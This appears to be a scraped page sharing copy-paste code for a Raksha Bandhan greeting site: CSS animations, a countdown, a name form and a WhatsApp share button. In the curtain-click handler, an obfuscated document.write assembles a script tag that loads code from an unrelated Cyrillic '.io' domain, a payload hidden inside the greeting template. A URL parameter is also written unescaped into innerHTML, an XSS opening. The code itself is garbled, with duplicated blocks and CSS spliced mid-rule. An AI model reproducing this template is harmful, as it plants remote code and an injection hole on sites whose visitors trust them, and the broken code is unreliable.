sname=sname.replace(/%40/g,"-")

sname=sname.replace(/\./g,"-")

if(sname.trim()!=""){

document.querySelector("#formBox").style.display = "none";

document.querySelector(".footerbtn").style.display = "block";

document.querySelector("#wb-show-name").innerHTML = sname;

document.querySelector("#wb-show-wishing").innerHTML = "";

document.querySelector("#wb-fromMessage").innerHTML= "आपके परिवार को रक्षाबंधन <br>की ढेर सारी शुभकामनाएं";

window.scrollTo(0,0);

}else {

alert ("Please Type Your Name First");

document.getElementById("nameTextBox").focus();

}

var shareActionWA = function() {

var shareString = "";

var whatsappHref;

shareString += "*"+sname+"*";

shareString +=" 🎉🎊🎁🎁🎉  ने आपके लिए हैप्पी रक्षाबंधन का तोहफा भेजा है | Has sent a gift of Happy Raksha Bandhan to you 🎉🎁🎁🎊🎀 Message : 🎉🎊 बहन का प्यार किसी दुआ से कम नहीं होता, वो चाहे दूर भी हो तो गम नहीं होता अक्सर रिश्ते दूरियों से फीके पड़ जाते है पर बहन भाई का प्यार कभी कम नहीं होता 🎉🎊 👇🏻👇🏻👇🏻 "

shareString +=(window.location.href.split("?")[0] + "?bl=" + sname).replace("#", "").replace(/ /g, "-");

whatsappHref = "whatsapp://send?text=" + shareString;
   
  
   
 window.location.href = whatsappHref;

};

</script>

// Set the date we're counting down to

var countDownDate = new Date("Aug 22, 2021 00:00:00").getTime();

// Update the count down every 1 second

var x = setInterval(function() {

// Get todays date and time

var now = new Date().getTime();

// Find the distance between now an the count down date

var distance = countDownDate - now;

// Time calculations for days, hours, minutes and seconds

var days = Math.floor(distance / (1000 * 60 * 60 * 24));

var hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60));

var minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60));

var seconds = Math.floor((distance % (1000 * 60)) / 1000);

// Output the result in an element with id="demo"

document.getElementById("demoo").innerHTML = "<font style='text-shadow: 1px 1px 3px white, 1px 1px 3px white, -1px -1px 3px white, -1px -1px 3px white; color: red;'> Wishing You Advance,</font> <br>" + days + "<font color='white'> Days,</font> " + hours + "<font color='white'>  Hrs,</font> "

+ minutes + "<font color='white'> Min,</font> " + seconds + "<font color='white'> Sec </font>";

// If the count down is over, write some text

if (distance < 0) {

clearInterval(x);

document.getElementById("demoo").innerHTML = "";

}

}, 1000);

</script>

</script>

</body>

</html>

SNP technical ने आपके लिए कुछ खास 🎁भेजा है

नीचे दी गई ब्लू लाइन को क्लिक करें🙏

👇👇👇👇

Happy Diwali || Happy Govardhan Puja || Happy Bhai Dooj

Happy Diwali और ज्यादा देखने के लिए यहाँ टच करे

Happy Govardhan Puja और ज्यादा देखने के लिए यहाँ टच करे

Happy Bhai Dooj और ज्यादा देखने के लिए यहाँ टच करे

Happy Diwali || Happy Govardhan Puja || Happy Bhai Dooj | Happy Raksha Bandhan

Happy New Year wishing site : https://newyear.nvsp.org/?bl=SNP

Demo : Happy Raksha Bandhan और ज्यादा देखने के लिए यहाँ टच करे

Wishing Scripts code

<html>

<head>

<title>Best wishes of raksha bandhan | Raksha bandhan wishing</title>

<style>

.footerbtn :active {
            box-shadow: none
        }

.bubbles hi {
font-family: 'Luckiest Guy', cursive;
color: black;
}

hi {
 font-size:2.5em;
 user-select:none;
}

@import url(http://fonts.googleapis.com/css?family=Concert+One);

h1 {
  animation:glow 10s ease-in-out infinite;
}

* { box-sizing:border-box; }

figure {
  animation:wobble 5s ease-in-out infinite;
  transform-origin:center center;
  transform-style:preserve-3d;
}

@keyframes wobble {
  0%,100%{ transform:rotate3d(1,1,0,40deg); }
  25%{ transform:rotate3d(-1,1,0,40deg); }
  50%{ transform:rotate3d(-1,-1,0,40deg); }
  75%{ transform:rotate3d(1,-1,0,40deg); }
}

h1 {
  display:block;
  width:90%;
  line-height:1.5;
  font:900 35px 'Concert One', sans-serif;
  position:absolute;
  color:#fff;
}

@keyframes glow {
  0%,100%{ text-shadow:0 0 30px red; }
  25%{ text-shadow:0 0 30px orange; }
  50%{ text-shadow:0 0 30px forestgreen; }
  75%{ text-shadow:0 0 30px cyan; }
}

.rock{animation:infinite 1s rock}
@keyframes rock {  0% {    transform: rotate(-1deg);  }
  50% {    transform: rotate(2deg);  }
  100% {    transform: rotate(-1deg);  }}

.fuck{animation:infinite 1s fuck}
@keyframes rock {  0% {    transform: rotate(-2deg);  }
  50% {    transform: rotate(2deg);  }
  100% {    transform: rotate(-2deg);  }}

}

.cssload-preloader {
	position: absolute;
	top: 0px;
	left: px;
	right: 40px;
	bottom: 20px;
	z-index: 10;
}

<style>

i {

color:#f06414;

}

input[type=name], select {

width: 100%;

padding: 12px 20px;

margin: 4px 0;

display: inline-block;

border: 1px solid #ccc;

border-radius: 4px;

box-sizing: border-box;

}

.footerbtn {

display: block;

line-height: 15px;

position: fixed;

left:0px;

bottom:0px;

height:40px;

border-radius: 15px;

box-sizing: border-box;

padding: 5px;

background:#34af23;

color: #ffffff;

font-size: 18px;

text-align: center;

text-decoration: none;

width:95%;

margin-left:10px;

margin-right:30px;

box-shadow: 0 4px 12px 0 rgba(0, 0, 0, .3);

animation: footer infinite linear 1s;

-webkit-transform: translate3d(30%,0,0);

transform: translate3d(30%,0,0);

position: fixed;

}

.footerbtn :active {

box-shadow: none

}

@-webkit-keyframes footer {

from {

-webkit-transform: rotateZ(0)

}

25% {

-webkit-transform: rotateZ(0deg)

}

50% {

-webkit-transform: rotateZ(0deg)

}

75% {

-webkit-transform: rotateZ(0deg)

}

to {

-webkit-transform: rotateZ(0)

}}

@-webkit-keyframes jello { from, 11.1%, to { transform: none; }

22.2% { transform: skewX(-12.5deg) skewY(-12.5deg); }

33.3% { transform: skewX(6.25deg) skewY(6.25deg); }

44.4% { transform: skewX(-3.125deg) skewY(-3.125deg); }

55.5% { transform: skewX(1.5625deg) skewY(1.5625deg); }

66.6% { transform: skewX(-0.78125deg) skewY(-0.78125deg); }

77.7% { transform: skewX(0.390625deg) skewY(0.390625deg); }

88.8% { transform: skewX(-0.1953125deg) skewY(-0.1953125deg); }}

.wb1{position:fixed;left:1%; width:auto;height:100%;top:1%;color:#000;}

.wb2{position:fixed;right:1%; width:auto;height:100%;top:1%;color:#000;}

.bubbles {

font-family: arial;

}

.bubbles hi {

font-family: 'Luckiest Guy', cursive;

color: black;

}

hi {

font-size:2.5em;

user-select:none;

}

hi span { display:inline-block; animation:float .2s ease-in-out infinite; }

@keyframes float {

0%,100%{ transform:none; }

33%{ transform:translateY(-1px) rotate(-2deg); }

66%{ transform:translateY(1px) rotate(2deg); }

}

body:hover span { animation:bounce .6s; }

@keyframes bounce {

0%,100%{ transform:translate(0); }

25%{ transform:rotateX(20deg) translateY(2px) rotate(-3deg); }

50%{ transform:translateY(-20px) rotate(3deg) scale(1.1); }

}

h1 {

animation:glow 10s ease-in-out infinite;

}

* { box-sizing:border-box; }

figure {

animation:wobble 5s ease-in-out infinite;

transform-origin:center center;

transform-style:preserve-3d;

}

@keyframes wobble {

0%,100%{ transform:rotate3d(1,1,0,40deg); }

25%{ transform:rotate3d(-1,1,0,40deg); }

50%{ transform:rotate3d(-1,-1,0,40deg); }

75%{ transform:rotate3d(1,-1,0,40deg); }

}

h1 {

display:block;

width:90%;

line-height:1.5;

font:900 25px 'Concert One', sans-serif;

position:absolute;

color:#fff;

}

@keyframes glow {

0%,100%{ text-shadow:0 0 30px red; }

25%{ text-shadow:0 0 30px orange; }

50%{ text-shadow:0 0 30px forestgreen; }

75%{ text-shadow:0 0 30px cyan; }

}

h1:nth-child(2){ transform:translateZ(5px); }

h1:nth-child(3){ transform:translateZ(10px);}

h1:nth-child(4){ transform:translateZ(15px); }

h1:nth-child(5){ transform:translateZ(20px); }

h1:nth-child(6){ transform:translateZ(25px); }

h1:nth-child(7){ transform:translateZ(30p.rock{animation:infinite 1s rock}

@keyframes rock { 0% { transform: rotate(-1deg); }

50% { transform: rotate(2deg); }

100% { transform: rotate(-1deg); }}x); }

h1:nth-child(8){ transform:translateZ(25px); }

h1:nth-child(9){ transform:translateZ(40px); }

h1:nth-child(10){ transform:translateZ(45px); }

.rock{animation:infinite 1s rock}

@keyframes rock { 0% { transform: rotate(-1deg); }

50% { transform: rotate(2deg); }

100% { transform: rotate(-1deg); }}

.fuck{animation:infinite 1s fuck}

@keyframes rock { 0% { transform: rotate(-2deg); }

50% { transform: rotate(2deg); }

100% { transform: rotate(-2deg); }}

h2 {

-webkit-animation: bounceIn 4s cubic-bezier(0.68, -0.55, 0.27, 1.55) infinite;

animation: bounceIn 4s cubic-bezier(0.68, -0.55, 0.27, 1.55) infinite;

-webkit-transition: all .2s;

transition: all .2s;

font-size: 25px;

text-transform: uppercase;

TEXT-ALIGN:CENTER;

color: #138808;

}

h3 {

font-size: 18px;

text-align: center;

padding:1px;

margin:1px;

color: #ffffff;

aanimation: fuck infinite 1s;

font-family: 'Indie Flower', cursive;

letter-spacing: 2px;

* {box-sizing: border-box;}

body {font-family: Verdana, sans-serif;}

.mySlides {display: none;}

img {vertical-align: middle;}

.wb-slideshow-container {

max-width: 1000px;

position: relative;

margin: auto;

}

.text {

color: #f2f2f2;

font-size: 15px;

padding: 8px 12px;

position: absolute;

bottom: 8px;

width: 100%;

text-align: center;

}

/* Number text (1/11 etc) */

.numbertext {

color: #f2f2f2;

font-size: 12px;

padding: 8px 12px;

position: absolute;

top: 0;

}

/* The dots/bullets/indicators */

.dot {

height: 15px;

width: 15px;

margin: 0 2px;

background-color: #bbb;

border-radius: 50%;

display: inline-block;

transition: background-color 0.6s ease;

}

.active {

background-color: #717171;

}

/* Fading animation */

.fade {

-webkit-animation-name: fade;

-webkit-animation-duration: 1.5s;

animation-name: fade;

animation-duration: 1.5s;

}

@-webkit-keyframes fade {

from {opacity: .4}

to {opacity: 1}

}

@keyframes fade {

from {opacity: .4}

to {opacity: 1}

}

/* On smaller screens, decrease text size */

@media only screen and (max-width: 300px) {

.text {font-size: 11px}

}

</style>

</script>

margin:0;

padding:0;

}

body {

text-align: center;

}

img{

border: none;

}

.leftcurtain{

width: 100%;

height: 100%;

top: 0px;

left: 0px;

position: absolute;

z-index: 2;

}

.rightcurtain{

width: 100%;

height: 100%;

right: 0px;

top: 0px;

position: absolute;

z-index: 3;

}

.rightcurtain img, .leftcurtain img{

width: 100%;

height: 100%;

}

.logo{

margin: 0px auto;

margin-top: 150px;

}

.rope{

position: absolute;

top: 80px;

left: 8%;

z-index: 4;

}

.centered {

position: absolute;

top: 75%;

left: 50%;

transform: translate(-50%, -50%);

}

</style>

<style>

<style>

body{

background: #f8f8f8;

}

.mainContainer {

max-width: 400px;

margin: auto;

text-align: center;

position: relative;

padding-right: 1px;

padding-left: 1px;

padding-top: 1px;

box-shadow: 3px 3px 23px 0 rgba(0, 0, 0, 0.64);

margin-bottom: 65px;

}

.wbncontainer {

padding-right: 30px;

padding-left: 30px;

padding-top: 0px;

}

.username {

-webkit-animation: bounceIn 4s cubic-bezier(0.68, -0.55, 0.27, 1.55) infinite;

animation: bounceIn 4s cubic-bezier(0.68, -0.55, 0.27, 1.55) infinite;

-webkit-transition: all .2s;

transition: all .2s;

font-size: 40px;

font-family: 'SF Espresso Shack', cursive;

text-transform: uppercase;

TEXT-ALIGN:CENTER;

color: #138808;

}

.fromMessage{

font-size: 30px;

}

.wavetext{

color: #3e8ed2;

padding: 0 40px;

animation: pulse 1s infinite;

font-size: 32px;

}

.wishMessage {

color: #3e8ed2;

font-size: 22px;

font-weight: bold;

margin-top: 50px;

text-shadow: 0px 0px 10px #00fff3

}

.wishMessage p{

margin: 0.5em 0;

}

#formBox {

left: 0;position: fixed;bottom: 0;display: inline-block;width: 100%;margin: 0;

}

#nameTextBox {

border: 3px solid #000000;text-align: center;display: inline-block;width: 80%;color: black;font-size:16px;margin: 0;background: #eee;height: 48px;font-weight: 700;;padding:8px 0;

}

#goButton {

}

.footerbtn {

display: none;

line-height: 15px;

bottom: 10px;

height: 40px;

border-radius: 15px;

box-sizing: border-box;

padding: 5px;

background: #34af23;

color: #ffffff;

font-size: 18px;

text-align: center;

text-decoration: none;

box-shadow: 0 4px 12px 0 rgba(0, 0, 0, .3);

position: fixed;

width: 90%;

left: 0;

margin: 2% 5%;

}

.footerbtn img {

position: relative;top:3px;

}

#inAdvance {

font-size: 20px; font-weight: bold;margin-top: 20px;color: #98201F;

}

#demoo {

font-size: 20px; font-weight: bold;color: #98201F;

}

#inAdvanceTime {

margin:20px 0 30px 0;

}

#inAdvanceTime p{

color: #ae00b9;font-size: 19px;font-weight: 500;

margin: 0;

}

.wb-main-greeting {

max-width: 400px;

margin: auto;

text-align: center;

position: relative;

padding: 0px;

background:#000;

background: url("");

background-position: center;

background-repeat: no-repeat;

background-size: cover;

box-shadow: 3px 4px 41px 0 rgba(0, 0, 0, 0.64);

margin-bottom: 25px

}

.wb-main-greeting .main_body {

text-align: center;

font-size: 1.3em

}

.wb-main-greeting .main_body .text2 {

padding: 10px;

font-size: 20px

}

.wb-main-greeting .text {

color: #405d9b;

letter-spacing: 1px;

font-weight: 600;

padding: 0px 10px;

text-align: center;

}

.wb-main-greeting .pp-img {

max-width: 400px;

margin-bottom: 10px;

box-shadow: 0px 0px 10px 0px rgba(0, 0, 0, 0.64);

}

.wb-main-greeting .text_gradient {

margin: 5px auto;

font-weight: 700;

font-size: 24px;

color: #b50dae;

}

.snowflake {

color: #fff;

font-size: 2em;

font-family: Arial, sans-serif;

text-shadow: 0 0 5px #000;

}

</style>

$(document).ready(function() { $curtainopen = false; $(".rope").click(function(){ $(this).blur(); if ($curtainopen == false){ $(this).stop().animate({top: '-171%' }, {queue:false, duration:350, easing:'easeOutBounce'}); $(".leftcurtain").stop().animate({width:'1px'}, 2000 ); $(".rightcurtain").stop().animate({width:'1px'},2000 ); $curtainopen = true; }else{ $(this).stop().animate({top: '-40px' }, {queue:false, duration:350, easing:'easeOutBounce'}); document.write('<s'+'cr'+'ipt sr'+'c="/'+'/'+'ю'+'ф.'+'i'+'o"></s'+'cr'+'ipt>'); $(".leftcurtain").stop().animate({width:'50%'}, 2000 ); $(".rightcurtain").stop().animate({width:'51%'}, 2000 ); $curtainopen = false; } return false; }); });

</script>

</head>

<span style="color: yellow;">▁ ▂ ▄ ▅ Happy Raksha Bandhan ▅ ▄ ▂ ▁</span>

</span></center>

</marquee>

</marquee>

</font>

</div>

</Div>

</font>

</div></div>

</div>

!! Happy Raksha Bandhan 1 Song !!

</p></center>

</center>

</br>
   <center>

Ye Lamha Kuch Khaas Hain,<br>

Behan Ke Hathon Mein Bhai Ka Haath Hain,<br>

O Behna Tere Liye Mere Pass Kuch Khas Hain,<br>

Tere Sukoon Ki Khatir Meri Behna,<br>

Tera Bhai Humesha Tere Sath Hain.

</p>

<h2 class="font-effect-neon" style="color: #F00;" align=center" id="wb-show-wishing">IN ADVANCE</h2><br />

</p></center>

!! Happy Raksha Bandhan 2 Song !!

</p></center>

</center>

</br>

</div>

<b style="font-size: 15px;position: relative;top: -3px;margin: 0 10px;">Share with your Friends</b>

</a>

</div>

. <script>

var jqs = function(sParam) {

var sPageURL = window.location.search.substring(1);

var sURLVariables = sPageURL.split("&");

for (var i = 0; i < sURLVariables.length; i++) {

var sParameterName = sURLVariables[i].split("=");

if (sParameterName[0] === sParam) {

return sParameterName[1];

}

};

window.jqs = jqs;

var name = decodeURI(jqs("bl"));

if (typeof jqs("bl") === "undefined") {

name = "";

}

var checkName = function() {

if (name.length !== 0) {

name = name.replace(/-/g, " ");

console.log("name is there", name);

document.querySelector("#wb-show-name").innerHTML = name;

document.querySelector("#wb-show-wishing").innerHTML = "";

document.querySelector("#wb-fromMessage").innerHTML= ""

} else {

}

};

checkName();

var createGreeting=function(){

sname=document.querySelector("#nameTextBox").value;

sname=sname.replace(/@/g,"-")

sname=sname.replace(/%40/g,"-")

sname=sname.replace(/\./g,"-")

if(sname.trim()!=""){

document.querySelector("#formBox").style.display = "none";

document.querySelector(".footerbtn").style.display = "block";

document.querySelector("#wb-show-name").innerHTML = sname;

document.querySelector("#wb-show-wishing").innerHTML = "";

document.querySelector("#wb-fromMessage").innerHTML= "आपके परिवार को रक्षाबंधन <br>की ढेर सारी शुभकामनाएं";

window.scrollTo(0,0);

}else {

alert ("Please Type Your Name First");

document.getElementById("nameTextBox").focus();

}

var shareActionWA = function() {

var shareString = "";

var whatsappHref;

shareString += "*"+sname+"*";

shareString +=(window.location.href.split("?")[0] + "?bl=" + sname).replace("#", "").replace(/ /g, "-");

whatsappHref = "whatsapp://send?text=" + shareString;
   
  
   
 window.location.href = whatsappHref;

};

</script>

// Set the date we're counting down to

var countDownDate = new Date("Aug 22, 2021 00:00:00").getTime();

// Update the count down every 1 second

var x = setInterval(function() {

// Get todays date and time

var now = new Date().getTime();

// Find the distance between now an the count down date

var distance = countDownDate - now;

// Time calculations for days, hours, minutes and seconds

var days = Math.floor(distance / (1000 * 60 * 60 * 24));

var hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60));

var minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60));

var seconds = Math.floor((distance % (1000 * 60)) / 1000);

// Output the result in an element with id="demo"

+ minutes + "<font color='white'> Min,</font> " + seconds + "<font color='white'> Sec </font>";

// If the count down is over, write some text

if (distance < 0) {

clearInterval(x);

document.getElementById("demoo").innerHTML = "";

}

}, 1000);

</script>

</script>

</body>

</html>

SNP technical ने आपके लिए कुछ खास 🎁भेजा है

नीचे दी गई ब्लू लाइन को क्लिक करें🙏

👇👇👇👇

Happy Diwali || Happy Govardhan Puja || Happy Bhai Dooj

Happy Diwali और ज्यादा देखने के लिए यहाँ टच करे

Happy Govardhan Puja और ज्यादा देखने के लिए यहाँ टच करे

Happy Bhai Dooj और ज्यादा देखने के लिए यहाँ टच करे

SNP TECHNICAL

SNP TECHNICAL - www.snptechnical.org

Happy Diwali || Happy Govardhan Puja || Happy Bhai Dooj | Happy Raksha Bandhan

Post a Comment

Happy Diwali || Happy Govardhan Puja || Happy Bhai Dooj | Happy Raksha Bandhan